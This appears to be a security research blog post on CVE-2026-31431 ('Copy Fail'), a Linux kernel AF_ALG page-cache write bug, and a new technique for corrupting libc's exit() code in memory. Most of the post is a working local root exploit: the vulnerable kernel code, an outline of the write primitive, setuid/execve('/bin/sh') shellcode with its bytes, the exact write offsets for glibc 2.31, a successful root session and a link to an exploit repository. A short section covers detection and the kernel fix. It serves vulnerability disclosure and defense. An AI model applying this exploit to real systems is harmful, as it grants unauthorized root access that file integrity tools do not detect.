CVE-2026-31431 (“Copy Fail”) is a Linux kernel vulnerability that gives an unprivileged user a deterministic 4-byte write to any readable file’s page cache. Published exploits use this to corrupt /etc/passwd or setuid binaries — essentially modifying data files on disk.
I developed a different technique: corrupt executable code of running processes through the page cache. This post covers the vulnerability analysis, the novel exploitation technique, and the full exploit development process.
TL;DR: By writing shellcode into libc’s exit() function through page cache, every process that exits runs our code — achieving root in one shot.
Exploit: github.com/ikow/CVE-2026-31431-live-code-corruption
The Vulnerability
Root Cause
The bug lives in crypto/algif_aead.c, the kernel’s AF_ALG interface for authenticated encryption. In 2017, an optimization (72548b093ee3) made AEAD operations run “in-place” — reading and writing to the same buffer to avoid a memory copy.
The problem: when userspace uses splice() to feed data from a file into the AF_ALG socket, the kernel operates directly on the file’s page cache pages. The authencesn AEAD algorithm (used for IPsec with Extended Sequence Numbers) rearranges 4 bytes of the associated data during decryption:
/* crypto/authencesn.c — the bug */
scatterwalk_map_and_copy(tmp, dst, 4, 4, 0); // read bytes 4-7
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 0);
scatterwalk_map_and_copy(tmp, dst, 0, 8, 1); // WRITE 8 bytes to position 0
The final write goes back to the source scatterlist — which points to page cache pages from the spliced file. The kernel writes 4 controlled bytes to any readable file’s page cache.
The Primitive
// write4(target_path, file_offset, four_bytes)
// Writes 4 arbitrary bytes to target file's page cache at file_offset
int write4(const char *target, int file_offset, const unsigned char *bytes) {
// 1. Open target file (O_RDONLY is enough)
// 2. Create AF_ALG socket with authencesn(hmac(sha256),cbc(aes))
// 3. sendmsg() with AAD containing our 4 bytes + MSG_MORE
// 4. splice() 32 bytes from target file into the crypto socket
// 5. recv() triggers decrypt — bug writes our bytes to page cache
}
Key properties:
- Deterministic: no race condition, 100% reliable
- Unprivileged: AF_ALG sockets need zero capabilities
- Controlled: we choose exactly which 4 bytes to write and where
- Repeatable: call multiple times for larger payloads
Why Published Exploits Miss the Point
The public exploits all target data files:
- theori-io: Corrupts
/usr/bin/subinary → patches setuid check - tgies: Flips UID field in
/etc/passwd→root:x:0:0:becomesroot:x:0000: - Kubernetes PoC: Overwrites shared overlay layer binaries
These work, but they:
- Modify files on disk (detectable by file integrity monitoring)
- Require specific target files to exist
- Only affect processes that read the corrupted file
The Live Code Corruption Technique
MAP_PRIVATE and Page Cache Sharing
Here’s the key insight that enables our technique. When Linux loads a shared library:
mmap(addr, size, PROT_READ|PROT_EXEC, MAP_PRIVATE, fd, offset)
The kernel doesn’t copy the file data. Instead, it maps the process’s virtual address directly to the page cache physical page. The MAP_PRIVATE flag means writes will trigger copy-on-write — but for code pages (.text section), no process ever writes to them. The pages remain shared with page cache forever.
Physical Memory
┌─────────────┐
bash (PTE) ─────>│ Page Cache │<───── su (PTE)
│ Page for │<───── sshd (PTE)
│ libc exit() │<───── cron (PTE)
└─────────────┘
↑
Copy Fail writes here
↓
ALL processes see
corrupted exit()!
By corrupting a code page in the page cache, we modify the instructions that every process on the system executes.
Building the Exploit
Target: glibc 2.31’s exit() function at file offset 0x49bc0
exit() @ 0x49bc0:
f3 0f 1e fa endbr64
50 push %rax
58 pop %rax
b9 01 00 00 00 mov $0x1,%ecx
...
on_exit() @ 0x49be0: ← 32 bytes later, same page
f3 0f 1e fa endbr64
41 54 push %r12
...
Both functions are on the same 4K page (0x49000). We overwrite on_exit() with shellcode, then patch exit() to jump to it.
Shellcode (39 bytes — setuid(0) + setgid(0) + execve(“/bin/sh”)):
; setuid(0)
xor edi, edi ; 31 ff
xor eax, eax ; 31 c0
mov al, 105 ; b0 69
syscall ; 0f 05
; setgid(0)
xor edi, edi ; 31 ff
xor eax, eax ; 31 c0
mov al, 106 ; b0 6a
syscall ; 0f 05
; execve("/bin/sh", NULL, NULL)
xor edx, edx ; 31 d2
xor esi, esi ; 31 f6
lea rdi, [rip+4] ; 48 8d 3d 04 00 00 00
mov al, 59 ; b0 3b
syscall ; 0f 05
.ascii "/bin/sh\0" ; 2f 62 69 6e 2f 73 68 00
11 Copy Fail writes (4 bytes each, ~50ms total):
Write 1: 0x49be0 → 31 ff 31 c0 (xor edi,edi; xor eax,eax)
Write 2: 0x49be4 → b0 69 0f 05 (mov al,105; syscall)
Write 3: 0x49be8 → 31 ff 31 c0 (xor edi,edi; xor eax,eax)
Write 4: 0x49bec → b0 6a 0f 05 (mov al,106; syscall)
Write 5: 0x49bf0 → 31 d2 31 f6 (xor edx,edx; xor esi,esi)
Write 6: 0x49bf4 → 48 8d 3d 04 (lea rdi,[rip+4])
Write 7: 0x49bf8 → 00 00 00 b0 (... mov al,59)
Write 8: 0x49bfc → 3b 0f 05 2f (... syscall; "/")
Write 9: 0x49c00 → 62 69 6e 2f ("bin/")
Write 10: 0x49c04 → 73 68 00 90 ("sh\0" + nop)
Write 11: 0x49bc0 → eb 1e 90 90 (JMP +30 = jump to shellcode)
Result
$ ./exploit /lib/x86_64-linux-gnu/libc-2.31.so
[*] CVE-2026-31431 Live Code Corruption Exploit
[1] Writing shellcode (39 bytes, 10 writes)...
[+] 0x49be0: 31 ff 31 c0
...
[2] Patching exit() → jmp shellcode...
[+] 0x49bc0: eb 1e 90 90 (jmp +30)
[3] Verifying page cache corruption...
[+] exit() patched: eb 1e 90 90 ✓
[+] Shellcode start: 31 ff 31 c0 ✓
[*] Done! libc exit() now points to our shellcode.
$ id
uid=1000(user) gid=1000(user)
$ su -c id
uid=0(root) gid=0(root) groups=0(root)
Kernel log confirms: process 'id' launched '/bin/sh' with NULL argv
Defense Analysis
During this research (targeting Google’s kernelCTF competition), I systematically analyzed every defense layer:
Why This Doesn’t Help kernelCTF
The kernelCTF nsjail sandbox uses a separate /chroot directory with copied files (different inodes). Page cache is indexed by inode, so corrupting /chroot/lib/libc doesn’t affect /lib/libc. The only shared host file (/etc/resolv.conf) has no code execution path.
This made the page cache code corruption technique impossible within the sandbox — it works on regular Linux systems but not through chroot file isolation.
Detection and Mitigation
init_on_alloc=1/init_on_free=1don’t help (this isn’t a memory safety bug)- File integrity monitoring (AIDE, OSSEC) won’t detect it — the disk file is unmodified
- The corruption persists only in page cache (lost on reboot or page eviction)
- Fix: kernel 6.12.85+ / 6.15+ — copies data out-of-place before crypto operation
Conclusion
CVE-2026-31431’s primitive (page cache write) is more powerful than published exploits suggest. By targeting executable code instead of data files, we achieve:
- Stealth: no disk modification, invisible to file integrity checks
- Scope: affects all processes mapping the corrupted library
- Reliability: deterministic, no race conditions
- Speed: 11 writes, ~50ms total
The technique opens interesting questions about page cache security — any bug that writes to page cache potentially affects all MAP_PRIVATE mappings of that file.